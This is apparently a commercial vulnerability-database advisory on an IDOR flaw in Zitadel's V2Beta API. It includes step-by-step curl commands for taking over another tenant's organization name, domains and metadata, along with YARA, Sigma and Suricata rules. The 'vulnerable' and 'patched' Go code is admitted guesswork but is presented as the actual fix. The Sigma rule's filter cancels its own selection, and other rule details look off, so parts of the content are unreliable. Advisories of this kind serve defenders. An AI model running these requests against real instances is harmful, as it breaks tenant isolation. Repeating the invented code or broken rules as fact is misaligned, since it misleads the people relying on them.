CVE-2025-64431
Executive Summary
CVE-2025-64431 is an Insecure Direct Object Reference (IDOR) vulnerability in Zitadel, an open-source identity management platform. The flaw resides in the V2Beta API, affecting versions 4.0.0-rc.1 through 4.6.2. An authenticated user with specific administrator roles within one organization can access and modify organization-level data (name, domains, metadata) belonging to other organizations. This is a privilege escalation and data exposure issue that bypasses tenant isolation. The vulnerability is fixed in version 4.6.3.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Zitadel is a Go-based application. The vulnerability is in the application logic, not in a direct dependency. However, organizations using Zitadel as a managed service or self-hosted solution must ensure their deployment is updated to the patched version. No malicious packages or compromised dependencies are associated with this CVE.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): High (H) – Requires authenticated user with specific admin roles.
- User Interaction (UI): None (N) – No user action needed.
- Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited to organization metadata.
- Integrity (I): Low (L) – Limited to organization metadata modification.
- Availability (A): None (N) – No impact on availability.
CVSS Score: 4.1 (Medium)
Threat Level: Medium. The vulnerability requires authenticated access with specific roles, limiting the attack surface. However, it can lead to cross-tenant data exposure and modification.
Deep Dive & Mechanics
The vulnerability is an Insecure Direct Object Reference (IDOR) in the V2Beta API. The API endpoints for managing organization-level data (e.g., updating organization name, domains, metadata) do not properly validate that the authenticated user belongs to the target organization. Instead, they rely on the user's role within their own organization, allowing a user with admin roles in Org A to manipulate data in Org B by simply changing the organization ID in the API request.
Root Cause: The V2Beta API endpoints lack proper authorization checks to ensure the user's organization context matches the target organization. The code likely uses a user's role (e.g., ORG_OWNER) to authorize actions but fails to verify that the target organization ID is within the user's scope.
Attack Flow:
- Attacker authenticates to Zitadel with a user account that has an admin role (e.g.,
ORG_OWNER) in Organization A. - Attacker identifies the organization ID of Organization B (e.g., via enumeration or known IDs).
- Attacker sends a crafted API request to a V2Beta endpoint (e.g.,
PATCH /v2beta/organizations/{orgID}) with the target organization ID. - The server processes the request without verifying that the attacker's user belongs to Organization B, allowing modification of Organization B's name, domains, or metadata.
Affected Data:
- Organization name
- Organization domains
- Organization metadata (key-value pairs)
Not Affected:
- Users, projects, applications, roles, policies, or other resources.
Vulnerable vs. Patched Code
Vulnerable Code (Pre-4.6.3): The vulnerable code likely exists in the V2Beta API handler for organization updates. It checks the user's role but not the organization context.
// Vulnerable: Only checks role, not org context
func (h *Handler) UpdateOrganization(w http.ResponseWriter, r *http.Request) {
orgID := chi.URLParam(r, "orgID")
user := getUserFromContext(r.Context())
if !user.HasRole("ORG_OWNER") {
http.Error(w, "Forbidden", http.StatusForbidden)
return
}
// Missing: Check if user belongs to orgID
// Proceed to update organization data
h.orgService.Update(orgID, ...)
}
Patched Code (4.6.3): The fix adds an authorization check to ensure the user is a member of the target organization.
// Patched: Verifies user belongs to the target organization
func (h *Handler) UpdateOrganization(w http.ResponseWriter, r *http.Request) {
orgID := chi.URLParam(r, "orgID")
user := getUserFromContext(r.Context())
if !user.HasRole("ORG_OWNER") || !user.BelongsToOrg(orgID) {
http.Error(w, "Forbidden", http.StatusForbidden)
return
}
h.orgService.Update(orgID, ...)
}
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- Access to a Zitadel instance (version 4.0.0-rc.1 to 4.6.2).
- Valid credentials for a user with
ORG_OWNERrole in any organization. - Knowledge of another organization's ID (can be enumerated via API).
Exploitation Steps:
Authenticate and obtain a session token:
curl -X POST https://zitadel.example.com/login \ -H "Content-Type: application/json" \ -d '{"username":"attacker@orgA.com","password":"password123"}'Save the token from the response.
Enumerate organization IDs (if needed):
curl -X GET https://zitadel.example.com/v2beta/organizations \ -H "Authorization: Bearer <token>"Modify target organization's name:
curl -X PATCH https://zitadel.example.com/v2beta/organizations/{targetOrgID} \ -H "Authorization: Bearer <token>" \ -H "Content-Type: application/json" \ -d '{"name":"CompromisedOrg"}'Modify target organization's domains:
curl -X PATCH https://zitadel.example.com/v2beta/organizations/{targetOrgID}/domains \ -H "Authorization: Bearer <token>" \ -H "Content-Type: application/json" \ -d '{"domains":["evil.com"]}'Modify target organization's metadata:
curl -X PATCH https://zitadel.example.com/v2beta/organizations/{targetOrgID}/metadata \ -H "Authorization: Bearer <token>" \ -H "Content-Type: application/json" \ -d '{"metadata":{"key":"value"}}'
Expected Outcome: The attacker can read and modify organization-level data of any organization in the Zitadel instance.
Blue Team (Detection & Hardening)
Detection:
- Monitor API logs for
PATCH /v2beta/organizations/{orgID}requests where the authenticated user's organization does not match the targetorgID. - Alert on multiple failed attempts to access different organization IDs from the same user.
Hardening:
- Immediately upgrade to Zitadel 4.6.3 or later.
- Implement network segmentation to restrict API access to trusted IPs.
- Enable audit logging and monitor for suspicious cross-organization API calls.
- Review user roles and ensure least privilege principle is applied.
Indicators of Compromise (IOCs)
Network:
- Unusual
PATCHrequests to/v2beta/organizations/{orgID}endpoints. - Requests to multiple different organization IDs from a single authenticated session.
- API calls with organization IDs that do not match the user's primary organization.
- Unusual
Logs:
- Audit log entries showing organization updates (name, domains, metadata) performed by users not belonging to that organization.
- Failed authorization attempts (if patched) or successful unauthorized modifications (if unpatched).
System:
- Unexpected changes to organization names, domains, or metadata.
- New domains added to organizations that were not authorized.
Detection Engineering
YARA Rule
rule CVE_2025_64431_Zitadel_IDOR {
meta:
description = "Detects Zitadel V2Beta API requests exploiting IDOR vulnerability"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-64431"
strings:
$api_path = "/v2beta/organizations/"
$method_patch = "PATCH"
$json_body = /"name":\s*"[^"]*"/
condition:
$api_path and $method_patch and $json_body
}
Sigma Rule
title: Zitadel IDOR Exploitation via V2Beta API
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2025-64431 by modifying organization data across tenants
author: Valters IT
date: 2025-04-10
logsource:
category: web
product: zitadel
detection:
selection:
http.method: 'PATCH'
http.url|contains: '/v2beta/organizations/'
http.response.status_code: 200
filter:
http.url|contains: '/v2beta/organizations/' # Placeholder for user's own org
condition: selection and not filter
falsepositives:
- Legitimate cross-organization admin actions (if allowed by policy)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2025-64431 Zitadel IDOR Exploitation Attempt";
flow:to_server,established;
content:"PATCH"; http_method;
content:"/v2beta/organizations/"; http_uri;
pcre:"/\/v2beta\/organizations\/[a-f0-9]{8}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{12}/";
sid:10000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Upgrade Zitadel to version 4.6.3 or later. This is the only complete fix.
- Restrict API access to trusted networks and users.
- Enable audit logging and monitor for suspicious activity.
Long-Term Measures:
- Implement strict authorization checks in all API endpoints.
- Conduct regular security reviews of API authorization logic.
- Use role-based access control (RBAC) with organization context validation.
- Deploy a Web Application Firewall (WAF) to detect and block IDOR patterns.
Workaround (if upgrade is not immediately possible):
- Disable the V2Beta API if not in use.
- Implement a reverse proxy to validate organization context before forwarding requests to Zitadel.
Valters IT